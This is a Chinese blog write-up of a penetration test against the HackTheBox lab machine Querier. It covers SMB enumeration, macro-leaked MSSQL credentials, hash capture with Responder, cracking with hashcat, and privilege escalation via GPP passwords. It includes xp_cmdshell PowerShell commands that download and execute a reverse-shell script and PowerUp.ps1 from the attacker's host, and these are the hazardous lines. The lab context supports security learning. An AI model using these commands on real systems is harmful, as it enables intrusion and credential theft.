【HTB系列】靶机Querier的渗透测试

总结与反思:

1. 收集信息要全面

2. 用snmp-check检查snmp目标是否开启这个服务

3.  smbmap尝试用匿名用户anonymous来枚举目标的共享资源,可能会枚举成功

4.  使用smbclient连接到smb进行命令操作

5. 使用ole来分析宏

6. 使用mssqlclient.py来连接MSSQL

7. mssqlclient.py开启Windows Authentication参数来,保证正常登录

8.使用mssqlclient.py开启cmd_shell

9. 利用Responder窃取服务器的凭证

10. 利用 | 、less 、\+关键词   快速查找内容

11. 使用hashcat破解NetNTLMv2密码

12. 使用john破解NetNTLMv2密码

13. 利用mssql来执行cmd命令

14. 使用PowerShell攻击框架里的Invoke-PowerShellTcp.ps1脚本反弹shell

15. 使用powershell远程下载反弹shell脚本并执行

16. 使用rlwrap 来解决shell中输出不正常问题(删除,方向键是字符问题)

17 使用cmd远程下载提权信息收集脚本PowerUp.ps1

18. 使用smbmap【The NETBIOS connection with the remote host timed out】的时候需要通过-d添加 域的名字

19. 利用域内获取的账号密码尝试使用psexec进行命令执行【前提smb服务开启,并且有权进行读写】

20. 利用GPP漏洞得到管理员密码

靶机信息

KALI地址:10.10.12.115

 

先用Nmap进行信息收集

nmap -sC -sV -A  10.10.10.125

扫描结果如下:

root@kali:~/HTB/Querier# nmap -sC -sV -A 10.10.10.125                                                                                                        
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 14:20 CST                                                                                              
Nmap scan report for 10.10.10.125                                                                                                                            
Host is up (0.40s latency).                                                                                                                                  
Not shown: 996 closed ports                                                                                                                                  
PORT     STATE SERVICE       VERSION                                                                                                                         
135/tcp  open  msrpc         Microsoft Windows RPC                                                                                                           
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn                                                                                                   
445/tcp  open  microsoft-ds?                                                                                                                                 
1433/tcp open  ms-sql-s      Microsoft SQL Server  14.00.1000.00                                                                                   [64/168]
| ms-sql-ntlm-info:                                                                                                                                          
|   Target_Name: HTB                                                                                                                                         
|   NetBIOS_Domain_Name: HTB                                                                                                                                 
|   NetBIOS_Computer_Name: QUERIER                                                                                                                           
|   DNS_Domain_Name: HTB.LOCAL                                                                                                                               
|   DNS_Computer_Name: QUERIER.HTB.LOCAL                                                                                                                     
|   DNS_Tree_Name: HTB.LOCAL                                                                                                                                 
|_  Product_Version: 10.0.17763                                                                                                                              
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback                                                                                                     
| Not valid before: 2019-06-28T04:08:30                                                                                                                      
|_Not valid after:  2049-06-28T04:08:30                                                                                                                      
|_ssl-date: 2019-06-30T05:22:01+00:00; -1h00m00s from scanner time.                                                                                          
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).                                                          
TCP/IP fingerprint:                                                                                                                                          
OS:SCAN(V=7.70%E=4%D=6/30%OT=135%CT=1%CU=30857%PV=Y%DS=2%DC=T%G=Y%TM=5D1855                                                                                  
OS:13%P=x86_64-pc-linux-gnu)SEQ(SP=F9%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=                                                                                  
OS:U)SEQ(SP=F9%GCD=1%ISR=10A%TI=I%CI=I%TS=U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS                                                                                  
OS:%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W                                                                                  
OS:3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=                                                                                  
OS:Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S                                                                                  
OS:%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=                                                                                  
OS:Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%                                                                                  
OS:RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0                                                                                  
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP                                                                                  
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)                                                                                                                 
                                                                                                                                                             
Network Distance: 2 hops                                                                                                                                     
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 
Host script results:                                                                                                                                         
|_clock-skew: mean: -1h00m00s, deviation: 0s, median: -1h00m00s                                                                                              
| ms-sql-info:                                                                                                                                               
|   10.10.10.125:1433:                                                                                                                                       
|     Version:                                                                                                                                               
|       name: Microsoft SQL Server                                                                                                                           
|       number: 14.00.1000.00                                                                                                                                
|       Product: Microsoft SQL Server                                                                                                                        
|_    TCP port: 1433                                                                                                                                         
| smb2-security-mode:                                                                                                                                        
|   2.02:                                                                                                                                                    
|_    Message signing enabled but not required                                                                                                               
| smb2-time:                                                                                                                                                 
|   date: 2019-06-30 13:22:03                                                                                                                                
|_  start_date: N/A                                                                                                                                          
                                                                                                                                                             
TRACEROUTE (using port 3306/tcp)                                                                                                                             
HOP RTT       ADDRESS                                                                                                                                        
1   395.56 ms 10.10.12.1                                                                                                                                     
2   396.53 ms 10.10.10.125                                                                                                                                   
                                                                                                                                                             
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                        
Nmap done: 1 IP address (1 host up) scanned in 75.70 seconds

可以看到目标机器存在MSSQL,SMB服务

我们在检查下snmp服务是否存在

发现snmp服务不存在

那么我们现在根据nmap的结果来进行测试。

我们用smbmap来尝试枚举下目标的资源,发现访问被禁止

那么我们尝试下匿名的用户去访问,发现资源被枚举出来了

这里的Reports不是系统自带的,所以我们对Reports进行信息挖掘

那么我们用smbclient来访问Reports目录,并执行命令操作

发现目录里面有一个excel文件,我们把他下载回来

xls是2003版本下的文件,不管有没有宏程序的话都是xls文件。

2007做了区分,XLSM文件XLSX文件都是excel2007文件,但前者是含有宏启用,Excel中默认情况下不自动启用宏。

Excel不会执行宏XLSX文件,即使它们包含宏代码,因此含有宏的文件可以保存为xlsm文件。

这个“Currency Volume Report.xlsm”是存在宏的,这里我们用下OLE工具套件来分析office宏

用apt安装ole套件

然后我们用olevba去分析我们刚刚下载来的XLSM文件

root@kali:~/HTB/Querier/smb# olevba Currency\ Volume\ Report.xlsm 

olevba 0.51 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
Analysis...
' further testing required
#里面宏代码内容
Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
 
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
#发现2个可疑的宏
+------------+-------------+-----------------------------------------+
| Type       | Keyword     | Description                             |
+------------+-------------+-----------------------------------------+
| Suspicious | Open        | May open a file                         |
| Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
|            |             | be used to obfuscate strings (option    |
|            |             | --decode to see all)                    |
+------------+-------------+-----------------------------------------+

我们可以发现里面的MSSQL连接字符串

Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6

然后我们使用mssqlclient.py进行登录,如果你没这个py脚本可以从下面的项目地址获得

项目地址:https://github.com/sdfzy/impacket

把mssqlclient.py拷贝出来

然后进行登录,发现登录失败

我们需要开启Windows Authentication,才能正常登录

然后我们访问下cmd,发现被禁止

因为我们的权限不够,但是我们可以用Responder对服务器上的凭证进行窃取

关于Responder的原理和窃取可以看这个文章:https://blog.csdn.net/nzjdsds/article/details/94314995

原理是,通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们,我们通过破解它的凭证在返回去登录MSSQL,得到高权限

Responder地址:https://github.com/sdfzy/Responder

我们开启Responder,-I 填的是我们连接HTB的网络接口,可以通过ifconfig查看

root@kali:~/HTB/Querier/Responder# python Responder.py -I tun0 -i 10.10.12.115
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.3.9

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.12.115]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']



[+] Listening for events...

然后我们去MSSQL执行命令

之后我们的Responder就能窃取到凭证

[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.10.10.125
[SMB] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMB] NTLMv2-SSP Hash     : mssql-svc::QUERIER:719e19ceae7c4441:EBBDF25ADE14E7C1FFB5F85A75C5297C:0101000000000000C0653150DE09D201C0C49F0639705148000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000236A52A873A5D10CDB0271A7669DD127DF24262F1C6E8B7E9E4B29DA4036B0020A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310032002E00310031003500000000000000000000000000                                               
[*] Skipping previously captured hash for QUERIER\mssql-svc

然后我们用hashcat去破解下

首先我们查下NetNTLMv2的模式代码是多少

hashcat --example-hashes |less

进入后     / + NetNTLM        进行搜索

可以看到NetNTLMv2模式代码为5600

然后我们就可以开始破解

hashcat -m 5600 Querier.NetNTLMv2 /usr/share/wordlists/rockyou.txt

也可以用john来破解NetNTLMv2密码

用户名:mssql-svc 密码:corporate568

然后我们用获取到的凭证再次用mssqlclient.py登录

help下

开启cmd功能

我们来测试查看cmd是否真的开启

命令是正常执行的

我们使用nishang的反弹shell脚本

nishang项目地址:https://github.com/sdfzy/nishang

cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1

然后我们编辑下reverse.ps1脚本在底下加上,IP写上你自己的IP,端口写上你nc监听的端口

然后还是老样子用python开启简单HTTP服务,让靶机把我们的reverse.ps1下载并执行

xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"http://10.10.12.115:8000/reverse.ps1\")

然后我们就得到一个shell,这里我是用了rlwrap来解决shell中(删除键,方向键等)输出不正常问题

然后我们就能得到user的flag

c37b41bb669da345bb14de50faab3c16

接下来就是开始提权

这里我们使用PowerSploit里面的提权信息收集脚本PowerUp.ps1

项目地址:https://github.com/PowerShellMafia/PowerSploit

一样把脚本拷贝过来,并让靶机下载执行

IEX(New-Object Net.Webclient).downloadstring("http://10.10.12.115:8000/PowerUp.ps1") Invoke-AllChecks

这里可能需要等几分钟出结果

这里我们看到一个服务滥用

我们尝试利用下

发现john确实加进来了,我们利用smbmap利用下,这里需要增加-d参数   写上域的名字

然后发现这个john的权限也不够

我们换一个提权方式

Changed   : {2019-01-28 23:12:48}                                                                                                                            
UserNames : {Administrator}                                                                                                                                  
NewName   : [BLANK]                                                                                                                                          
Passwords : {MyUnclesAreMarioAndLuigi!!1!}                                                                                                                   
File      : C:\ProgramData\Microsoft\Group                                                                                                                   
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml  

这里还有一组管理员的账号和密码我们再次进行尝试,成功!

提权成功,我们已经拿到system权限了,这里就不演示cat root flag了

这里还有一种是GPP漏洞的利用,原理跟上面是差不多的。只是需要自己手动破解密码

GPP提权

我们可以通过找到组策略里面的管理员密码并破解出来

Groups.xml

<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>

我们仍然需要解密密码,这可以通过以下方式轻松完成gpp-decrypt:

root@kali:~/HTB/Querier# gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ                                        
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
MyUnclesAreMarioAndLuigi!!1!

这里看到这里的密码也是我们上面获取到的密码一样

MyUnclesAreMarioAndLuigi!!1!

 

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值